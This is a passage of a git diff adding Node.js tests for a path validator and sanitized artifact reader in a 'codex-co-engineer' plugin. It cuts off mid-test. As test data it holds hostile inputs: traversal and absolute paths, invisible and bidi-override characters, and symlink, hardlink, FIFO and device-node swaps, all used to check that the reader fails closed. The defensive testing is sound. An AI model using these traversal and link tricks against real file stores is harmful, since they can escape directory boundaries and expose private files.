'separator_lookalike_denied'); + pathError('runs/a\uFF0Fb', 'separator_lookalike_denied'); + pathError('runs/a\uFF3Cb', 'separator_lookalike_denied'); + pathError('runs/a\u0000b', 'control_character_denied'); + pathError('runs/a\tb', 'control_character_denied'); + pathError('runs/a\nb', 'control_character_denied'); + pathError('runs/a\u007Fb', 'control_character_denied'); + pathError('runs/a\u0085b', 'control_character_denied'); + pathError('runs/a\u00ADb', 'invisible_character_denied'); + pathError('runs/a\u200Bb', 'invisible_character_denied'); + pathError('runs/a\u200Eb', 'invisible_character_denied'); + pathError('runs/\u202Edir/x', 'invisible_character_denied'); + pathError('runs/dir\u202E/x', 'invisible_character_denied'); + pathError('runs/\u2066dir/x', 'invisible_character_denied'); + pathError('\uFEFFruns/x', 'invisible_character_denied'); + pathError('runs/tag\u{E0041}x', 'invisible_character_denied'); + pathError('e\u0301clair.patch', 'invalid_encoding'); + pathError('cafe\u0301.patch', 'invalid_encoding'); + assert.doesNotThrow(() => validateArtifactRelativePathV1('café.patch')); + // Well-formed astral characters stay legal; only unpaired surrogates fail. + assert.doesNotThrow(() => validateArtifactRelativePathV1('runs/🙂/diff.patch')); + assert.equal(validateArtifactRelativePathV1('runs/🙂/diff.patch').byte_length, + Buffer.byteLength('runs/🙂/diff.patch', 'utf8')); + assert.throws(() => validateArtifactRelativePathV1('\uD800'), RunContractV1Error); + assert.throws(() => validateArtifactRelativePathV1('a\uDFFBc'), RunContractV1Error); + assert.equal(isArtifactRelativePathV1('\uDFFF'), false); + assert.equal(isArtifactRelativePathV1('\uD83D\uDE00runs'), true); +}); + +test('validation order is fixed so identical inputs always raise identical first errors', () => { + // Encoding beats NFC, NFC beats traversal, absolute beats control, + // backslash beats colon, alias beats invisible. + pathError('e\u0301/../x', 'invalid_encoding'); + pathError('../\u202Ex', 'alias_segment_denied'); + pathError('/x\u0000', 'absolute_path_denied'); + pathError('C:\\x', 'invalid_separator'); + pathError('\u202E/../x', 'alias_segment_denied'); + // The character scan is strictly positional: the first offending code + // point decides, whichever class it belongs to. + pathError('C:\u0000', 'colon_denied'); + pathError('\u0000a:b', 'control_character_denied'); + const twice = () => pathError('e\u0301/../..', 'invalid_encoding').message; + assert.equal(twice(), twice()); +}); + +test('non-string inputs and predicate parity behave without ever throwing', () => { + for (const bad of [undefined, null, 42, true, {}, ['a'], Symbol('path')]) { + assert.equal( + errorOf(() => validateArtifactRelativePathV1(bad, 'p')).code, + 'invalid_type', + ); + assert.equal(isArtifactRelativePathV1(bad), false); + } + const samples = [ + '', '/', '//', '.', '..', 'a', 'a/b', '/abs', 'a/', 'a//b', 'C:/x', + 'ok/deep/path.txt', 'bad\u0000', 'e\u0301', 'café', 'a/con', 'CON', + `${'a'.repeat(1024)}`, `${'a'.repeat(1025)}`, + ]; + for (const sample of samples) { + let threw = false; + try { + validateArtifactRelativePathV1(sample, 'p'); + } catch { + threw = true; + } + assert.equal(isArtifactRelativePathV1(sample), !threw, JSON.stringify(sample)); + } +}); + +test('accepted path descriptors are detached and frozen', () => { + const descriptor = validateArtifactRelativePathV1('runs/run-a/lane-b/diff.patch', 'p'); + assert.equal(Object.isFrozen(descriptor), true); + assert.equal(Object.isFrozen(descriptor.segments), true); + assert.deepEqual([...descriptor.segments], ['runs', 'run-a', 'lane-b', 'diff.patch']); + assert.equal(descriptor.byte_length, Buffer.byteLength('runs/run-a/lane-b/diff.patch', 'utf8')); +}); + +test('every raised path code stays inside the closed vocabulary', () => { + const codes = new Set(ARTIFACT_RELATIVE_PATH_ERROR_CODES); + const attempts = [ + '', '/x', 'a\\b', 'a/../b', 'a//b', 'a/', '...', 'a/CON', 'a/b.', + 'a\u0000b', 'a\u200Bb', 'a\u2044b', 'a:b', `${'a'.repeat(2000)}`, + `${Array.from({ length: 20 }, (_v, i) => `s${i}`).join('/')}`, + '\uD800', 'e\u0301', 42, null, + ]; + for (const attempt of attempts) { + try { + validateArtifactRelativePathV1(attempt, 'p'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.ok(codes.has(error.code), `unexpected code ${error.code}`); + } + }}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs new file mode 100644 index 0000000..99e2e89 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs @@ -0,0 +1,381 @@ +import assert from 'node:assert/strict'; +import { + chmodSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + renameSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; +import { open as openFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + parseSanitizedReaderOptionsV1, + readSanitizedArtifactV1, +} from '../mcp/v3/artifact-reader.mjs'; +import { + ARTIFACT_STORE_INGEST_CHUNK_BYTES, + ARTIFACT_STORE_META_SUFFIX, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, +} from '../mcp/v3/artifact-store.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + decodeSelected, + digestOf, + refFor, + removeRoot, + withPublished, + withStore, +} from './fixtures/r1-artifact-reader-fixtures.mjs'; + +const PAYLOAD = Buffer.from('adversarial sanitized reader payload\n'); +const isWindows = process.platform === 'win32'; + +async function expectCode(action, code, errorPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (errorPath !== undefined) assert.equal(error.path, errorPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +async function fileHandlePrototype() { + const handle = await openFile(new URL(import.meta.url), 'r'); + try { + return Object.getPrototypeOf(handle); + } finally { + await handle.close(); + } +} + +function existsRegularFile(target) { + try { + const stat = lstatSync(target); + return stat.isFile() && !stat.isSymbolicLink(); + } catch { + return false; + } +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + assert.equal(message.includes('ELOOP'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + const text = bytes.toString('utf8'); + if (text.trim().length > 0) { + assert.equal(message.includes(text.trim()), false, 'error echoed artifact bytes'); + } + } +} + +test('proxy, accessor, and alias refs fail closed with zero traps before I/O', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const { proxy, counts } = countingProxy(ref); + const error = await expectCode(() => readSanitizedArtifactV1(store, proxy), 'proxy_denied'); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + const accessor = { ...ref }; + let getterRuns = 0; + Object.defineProperty(accessor, 'sha256', { + enumerable: true, + get() { getterRuns += 1; return digestOf(PAYLOAD); }, + }); + await expectCode(() => readSanitizedArtifactV1(store, accessor), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + const cyclic = { ...ref }; + cyclic.self = cyclic; + await expectCode(() => readSanitizedArtifactV1(store, cyclic), 'aliased_reference_denied'); + + await expectCode(() => readSanitizedArtifactV1(store, { ...ref, extra: 'x' }), 'unknown_key'); + }); +}); + +test('option proxies and accessors never run', async () => { + await withPublished(PAYLOAD, {}, async ({ store, ref, root }) => { + const { proxy, counts } = countingProxy({ offset: 0, max_bytes: 4 }); + const error = await expectCode( + () => readSanitizedArtifactV1(store, ref, proxy), + 'proxy_denied', + ); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + let optionGets = 0; + const accessorOpts = {}; + Object.defineProperty(accessorOpts, 'offset', { + enumerable: true, + get() { optionGets += 1; return 0; }, + }); + await expectCode( + () => readSanitizedArtifactV1(store, ref, accessorOpts), + 'accessor_property_denied', + ); + assert.equal(optionGets, 0); + + const symbolled = { offset: 0 }; + Object.defineProperty(symbolled, Symbol('hidden'), { enumerable: true, value: 1 }); + await expectCode(() => parseSanitizedReaderOptionsV1(symbolled), 'symbol_key_denied'); + }); +}); + +test('P07 hostile relative paths inherit exact denials on the reader', async () => { + await withStore(async ({ store }) => { + const cases = [ + [{ relative_path: '../outside.patch' }, 'alias_segment_denied'], + [{ relative_path: '/absolute.patch' }, 'absolute_path_denied'], + [{ relative_path: 'runs\\run\\x.patch' }, 'invalid_separator'], + [{ relative_path: 'runs/run-x/con' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/CON.txt' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/a:b.patch' }, 'colon_denied'], + [{ relative_path: 'runs/run-x/solid\u2044us.patch' }, 'separator_lookalike_denied'], + [{ relative_path: 'runs/run-x/invis\u200bx.patch' }, 'invisible_character_denied'], + [{ relative_path: 'runs/run-x/bell\u0007.patch' }, 'control_character_denied'], + ]; + for (const [override, expected] of cases) { + await expectCode( + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, override)), + expected, + ); + } + }); +}); + +test('reads never allocate a whole-file buffer; hashing uses the fixed ingest chunk', async () => { + const bytes = Buffer.alloc(ARTIFACT_STORE_INGEST_CHUNK_BYTES + 4096, 0x63); + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/wide.bin' }, async ({ store, ref }) => { + const proto = await fileHandlePrototype(); + const originalRead = proto.read; + const requested = []; + proto.read = function patchedRead(buffer, offset, length, position) { + const size = typeof length === 'number' ? length : buffer?.byteLength; + requested.push(size); + return originalRead.apply(this, arguments); + }; + try { + const page = await readSanitizedArtifactV1(store, ref, { offset: 100, max_bytes: 32 }); + assert.equal(decodeSelected(page).equals(bytes.subarray(100, 132)), true); + assert.ok(requested.length >= 2, 'expected more than one chunked read of a file larger than the ingest chunk'); + for (const size of requested) { + assert.ok(size <= ARTIFACT_STORE_INGEST_CHUNK_BYTES, `read requested ${size}`); + assert.notEqual(size, bytes.length); + } + } finally { + proto.read = originalRead; + } + }); +}); + +test('same-size content tamper fails digest verification', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + writeFileSync(contentLeaf, swapped); + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_digest_mismatch'); + assertContentFree(error, root, PAYLOAD); + assertContentFree(error, root, swapped); + }); +}); + +test('sidecar/ref conflict and malformed sidecars fail closed', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + await expectCode( + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { media_type: 'application/json' })), + 'artifact_metadata_conflict', + ); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + const original = readFileSync(metaLeaf); + writeFileSync(metaLeaf, '{"schema":"nope"}\n'); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_metadata_malformed'); + writeFileSync(metaLeaf, original); + const misplaced = JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: refFor(PAYLOAD, { relative_path: 'runs/elsewhere/x.patch' }), + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }); + writeFileSync(metaLeaf, `${misplaced}\n`); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_foreign_entry'); + writeFileSync(metaLeaf, original); + }); +}); + +test('symlinks, hardlinks, FIFOs, and devices are never followed or blocked on', async () => { + if (isWindows) return; + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p10-outside-'), { mode: 0o700 }); + try { + const original = readFileSync(contentLeaf); + rmSync(contentLeaf); + symlinkSync(path.join(outside, 'bait.bin'), contentLeaf); + writeFileSync(path.join(outside, 'bait.bin'), Buffer.from('bait bytes never adopted')); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + + const { link } = await import('node:fs/promises'); + await link(contentLeaf, path.join(outside, 'alias.bin')); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(path.join(outside, 'alias.bin')); + + rmSync(contentLeaf); + const { execFileSync } = await import('node:child_process'); + execFileSync('mkfifo', [contentLeaf]); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + + const devicePath = `${contentLeaf}.dev`; + try { + execFileSync('mknod', [devicePath, 'c', '1', '3'], { stdio: 'ignore' }); + rmSync(contentLeaf); + renameSync(devicePath, contentLeaf); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + } catch { + rmSync(devicePath, { force: true }); + if (!existsRegularFile(contentLeaf)) { + rmSync(contentLeaf, { force: true }); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + } + } + } finally { + rmSync(outside, { recursive: true, force: true }); + } + }); +}); + +test('torn content, missing artifacts, and leftover temporaries fail closed', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32)), 'torn'); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_torn_temporary'); + rmSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32))); + + const saved = readFileSync(contentLeaf); + rmSync(contentLeaf); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_torn_publication'); + writeFileSync(contentLeaf, saved, { mode: 0o600 }); + + const missing = refFor(Buffer.from('nope'), { relative_path: 'runs/run-store-01/missing/x.bin' }); + await expectCode(() => readSanitizedArtifactV1(store, missing), 'artifact_not_found'); + }); +}); + +test('root and path swaps are rejected; mid-read mutation cannot pass digest/stability checks', async () => { + if (isWindows) return; + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const moved = `${root}-moved`; + rmSync(moved, { recursive: true, force: true }); + renameSync(root, moved); + mkdirSync(root, { mode: 0o700 }); + try { + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_root_unsafe'); + assertContentFree(error, root, PAYLOAD); + } finally { + rmSync(root, { recursive: true, force: true }); + renameSync(moved, root); + } + }); + + const large = Buffer.alloc(ARTIFACT_STORE_INGEST_CHUNK_BYTES + 2048, 0x71); + await withPublished(large, { relative_path: 'runs/run-store-01/lane-alpha/mut.bin' }, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'mut.bin'); + const proto = await fileHandlePrototype(); + const originalRead = proto.read; + let mutated = false; + proto.read = async function patchedRead(buffer, offset, length, position) { + const result = await originalRead.apply(this, arguments); + if (!mutated && buffer?.byteLength === ARTIFACT_STORE_INGEST_CHUNK_BYTES && result.bytesRead > 0) { + writeFileSync(contentLeaf, Buffer.from(large.map((byte) => byte ^ 0x01))); + mutated = true; + } + return result; + }; + try { + const error = await expectCode(() => readSanitizedArtifactV1(store, ref)); + assert.ok( + error.code === 'artifact_digest_mismatch' || error.code === 'artifact_torn_publication' + || error.code === 'artifact_length_mismatch' || error.code === 'artifact_entry_unsafe', + `unexpected code ${error.code}`, + ); + assertContentFree(error, root, large); + } finally { + proto.read = originalRead; + } + }); +}); + +test('frozen output cannot be mutated; errors stay content-free', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { offset: 0, max_bytes: 8 }); + assert.equal(Object.isFrozen(page), true); + assert.throws(() => { page.selected_content = 'mutated'; }); + assert.throws(() => { page.artifact_ref.relative_path = 'x'; }); + assert.equal(page.selected_content !== 'mutated', true); + + const probes = [ + () => readSanitizedArtifactV1(store, countingProxy(ref).proxy), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { artifact_class: 'raw' })), + () => readSanitizedArtifactV1(store, ref, { offset: -1 }), + () => readSanitizedArtifactV1(store, ref, { max_bytes: ARTIFACT_STORE_RANGE_READ_MAX_BYTES + 1 }), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { relative_path: '../escape' })), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { relative_path: 'runs/missing/nope.bin' })), + ]; + for (const probe of probes) { + try { + await probe(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assertContentFree(error, root, PAYLOAD); + } + } + }); +}); + +test('group-readable stored files and chmod traps fail closed without leaking paths', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + chmodSync(contentLeaf, 0o644); + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + assertContentFree(error, root, PAYLOAD); + chmodSync(contentLeaf, 0o600); + }); +}); + +test('truncated content and oversized planted files fail verification on read', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(contentLeaf, PAYLOAD.subarray(0, 4)); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + writeFileSync(contentLeaf, Buffer.concat([PAYLOAD, Buffer.alloc(300 * 1024, 0x21)])); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs new file mode 100644 index 0000000..afe0ad9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs @@ -0,0 +1,316 @@ +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ARTIFACT_READER_ERROR_CODES, + ARTIFACT_READER_MAX_RANGE_BYTES, + ARTIFACT_READER_MAX_WIRE_BYTES, + ARTIFACT_READER_OPTION_KEYS, + ARTIFACT_READER_PAGE_KEYS, + ARTIFACT_READER_SCHEMA_ID, + parseSanitizedReaderOptionsV1, + readSanitizedArtifactV1, +} from '../mcp/v3/artifact-reader.mjs'; +import { + ARTIFACT_STORE_INGEST_CHUNK_BYTES, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, +} from '../mcp/v3/artifact-store.mjs'; +import { MAX_SANITIZED_ARTIFACT_BYTE_LENGTH } from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CHILD_B, + decodeSelected, + digestOf, + longRelativePath, + refFor, + withPublished, + withStore, +} from './fixtures/r1-artifact-reader-fixtures.mjs'; + +const PAYLOAD = Buffer.from('bounded sanitized reader payload for P10\n'); + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +function errorOf(action, expectedCode, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +function assertUnknownProvenance(page) { + assert.equal(page.source_byte_length, null); + assert.equal(page.redaction_count, null); + assert.equal(page.sanitizer_version, null); + assert.equal(page.complete, null); + assert.equal(page.upstream_truncated, null); + assert.notEqual(page.complete, false); + assert.notEqual(page.upstream_truncated, false); + assert.notEqual(page.source_byte_length, 0); + assert.notEqual(page.redaction_count, 0); +} + +function assertPageShape(page) { + assert.equal(page.schema, ARTIFACT_READER_SCHEMA_ID); + assert.deepEqual(Object.keys(page), [...ARTIFACT_READER_PAGE_KEYS]); + assert.equal(Object.isFrozen(page), true); + assert.equal(Object.isFrozen(page.artifact_ref), true); + assert.equal(page.namespace, 'sanitized'); + assert.equal(page.selected_encoding, 'base64'); + assert.equal(typeof page.selected_content, 'string'); + assert.equal(decodeSelected(page).byteLength, page.selected_byte_length); + assert.ok(Buffer.byteLength(JSON.stringify(page), 'utf8') <= ARTIFACT_READER_MAX_WIRE_BYTES); + assertUnknownProvenance(page); +} + +test('the closed reader vocabulary and caps are exported frozen', () => { + assert.equal(ARTIFACT_READER_SCHEMA_ID, 'codex-co-engineer.artifact-reader.v1'); + assert.equal(Object.isFrozen(ARTIFACT_READER_ERROR_CODES), true); + assert.equal(Object.isFrozen(ARTIFACT_READER_OPTION_KEYS), true); + assert.equal(Object.isFrozen(ARTIFACT_READER_PAGE_KEYS), true); + assert.deepEqual([...ARTIFACT_READER_OPTION_KEYS], ['offset', 'max_bytes']); + for (const code of ['raw_artifact_denied', 'out_of_range', 'invalid_type', 'unknown_key']) { + assert.ok(ARTIFACT_READER_ERROR_CODES.includes(code), code); + } + assert.equal(ARTIFACT_READER_MAX_RANGE_BYTES, ARTIFACT_STORE_RANGE_READ_MAX_BYTES); + assert.equal(ARTIFACT_READER_MAX_RANGE_BYTES, 8192); + assert.equal(ARTIFACT_READER_MAX_WIRE_BYTES, 12288); + assert.ok(ARTIFACT_READER_MAX_RANGE_BYTES < MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); + assert.ok(ARTIFACT_STORE_INGEST_CHUNK_BYTES < MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); +}); + +test('the reader module does not import P09 sanitizer internals', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/artifact-reader.mjs', import.meta.url)), 'utf8'); + assert.equal(source.includes('artifact-sanitizer'), false); + assert.equal(/from '\.\/.*sanitiz/u.test(source), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); +}); + +test('option defaults and bounded intrinsic integers are validated before I/O', () => { + assert.deepEqual(parseSanitizedReaderOptionsV1(), { offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES }); + assert.deepEqual(parseSanitizedReaderOptionsV1({}), { offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES }); + assert.deepEqual( + parseSanitizedReaderOptionsV1({ offset: 4, max_bytes: 8 }), + { offset: 4, max_bytes: 8 }, + ); + assert.equal(Object.isFrozen(parseSanitizedReaderOptionsV1({ offset: 1 })), true); + + errorOf(() => parseSanitizedReaderOptionsV1(null), 'invalid_type'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: -1 }), 'out_of_range', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: 0.5 }), 'invalid_type', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES + 1 }), + 'out_of_range', 'options.max_bytes'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1 }), + 'out_of_range', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ extra: 1 }), 'unknown_key'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: '0' }), 'invalid_type', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ max_bytes: 1n }), 'invalid_json_type'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Number.NaN }), 'invalid_json_value', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Number.POSITIVE_INFINITY }), + 'invalid_json_value', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Object(0) }), 'exotic_prototype_denied'); +}); + +test('a small sanitized artifact returns a frozen JSON-safe page of the selected bytes', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assertPageShape(page); + assert.equal(page.byte_length, PAYLOAD.length); + assert.equal(page.sha256, digestOf(PAYLOAD)); + assert.equal(page.offset, 0); + assert.equal(page.max_bytes, ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.selected_byte_length, PAYLOAD.length); + assert.equal(decodeSelected(page).equals(PAYLOAD), true); + assert.equal(page.reader_clipped, false); + assert.equal(page.more, false); + assert.equal(page.next_offset, null); + const projected = JSON.stringify(page); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes(path.basename(root)), false); + JSON.parse(projected); + const mutated = { ...ref, media_type: 'application/json' }; + assert.equal(page.artifact_ref.media_type, 'text/plain'); + assert.equal(mutated.media_type, 'application/json'); + }); +}); + +test('range pages are deterministic and reconstruct the sanitized artifact', async () => { + const bytes = Buffer.alloc(64, 0); + for (let index = 0; index < bytes.length; index += 1) bytes[index] = index; + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/pages.bin' }, async ({ store, ref }) => { + const pageSize = 16; + const parts = []; + let offset = 0; + let pages = 0; + while (true) { + const page = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: pageSize }); + assertPageShape(page); + assert.equal(page.offset, offset); + assert.equal(page.max_bytes, pageSize); + const slice = decodeSelected(page); + assert.equal(slice.equals(bytes.subarray(offset, offset + slice.length)), true); + const again = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: pageSize }); + assert.equal(again.selected_content, page.selected_content); + assert.equal(again.next_offset, page.next_offset); + parts.push(slice); + pages += 1; + if (!page.more) break; + offset = page.next_offset; + } + assert.equal(pages, 4); + assert.equal(Buffer.concat(parts).equals(bytes), true); + }); +}); + +test('range and cap boundaries include empty EOF and single-byte windows', async () => { + await withPublished(PAYLOAD, {}, async ({ store, ref }) => { + const empty = await readSanitizedArtifactV1(store, ref, { offset: PAYLOAD.length, max_bytes: 8 }); + assertPageShape(empty); + assert.equal(empty.selected_byte_length, 0); + assert.equal(empty.selected_content, ''); + assert.equal(empty.more, false); + assert.equal(empty.reader_clipped, false); + + const none = await readSanitizedArtifactV1(store, ref, { offset: 0, max_bytes: 0 }); + assert.equal(none.selected_byte_length, 0); + assert.equal(none.more, true); + assert.equal(none.next_offset, 0); + assert.equal(none.reader_clipped, false); + + const last = await readSanitizedArtifactV1(store, ref, { + offset: PAYLOAD.length - 1, max_bytes: 1, + }); + assert.equal(decodeSelected(last).equals(PAYLOAD.subarray(PAYLOAD.length - 1)), true); + assert.equal(last.more, false); + + await errorOfAsync( + () => readSanitizedArtifactV1(store, ref, { offset: PAYLOAD.length + 1, max_bytes: 1 }), + 'out_of_range', + 'offset', + ); + }); +}); + +test('raw ArtifactRefV1 is denied before any artifact I/O', async () => { + await withStore(async ({ store, root }) => { + const raw = Buffer.from('owner-only raw evidence that must never face the model'); + const rawRef = refFor(raw, { artifact_class: 'raw', relative_path: 'runs/run-store-01/raw/secret.bin' }); + await store.publish(rawRef, raw); + const error = await errorOfAsync( + () => readSanitizedArtifactV1(store, rawRef), + 'raw_artifact_denied', + 'artifact_ref.artifact_class', + ); + assert.equal(error.message.includes(root), false); + assert.equal(error.message.includes('secret'), false); + assert.equal(error.message.includes(raw.toString('utf8')), false); + assert.equal((await store.verifyArtifact(rawRef)).verified, true); + }); +}); + +test('disjoint raw and sanitized siblings at one path: only sanitized is readable', async () => { + await withStore(async ({ store }) => { + const shared = 'runs/run-store-01/shared/report.bin'; + const sanitized = Buffer.from('model-facing projection'); + const raw = Buffer.from('owner-only local evidence'); + const sanitizedRef = refFor(sanitized, { relative_path: shared }); + const rawRef = refFor(raw, { relative_path: shared, artifact_class: 'raw', assignment_id: CHILD_B }); + await store.publish(sanitizedRef, sanitized); + await store.publish(rawRef, raw); + const page = await readSanitizedArtifactV1(store, sanitizedRef); + assert.equal(decodeSelected(page).equals(sanitized), true); + await errorOfAsync(() => readSanitizedArtifactV1(store, rawRef), 'raw_artifact_denied'); + }); +}); + +test('a max-range page of a larger artifact pages rather than claiming completeness', async () => { + const bytes = Buffer.alloc(ARTIFACT_READER_MAX_RANGE_BYTES + 64, 0x61); + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/large.bin' }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assertPageShape(page); + assert.equal(page.byte_length, bytes.length); + assert.ok(page.selected_byte_length <= ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.more, true); + assert.equal(typeof page.next_offset, 'number'); + assert.equal(page.complete, null); + assert.equal(page.upstream_truncated, null); + const rest = await readSanitizedArtifactV1(store, ref, { + offset: page.next_offset, + max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + assert.equal(Buffer.concat([decodeSelected(page), decodeSelected(rest)]).equals(bytes), true); + }); +}); + +test('a long relative path plus a max range is clipped by the wire cap, not marked upstream-truncated', async () => { + const bytes = 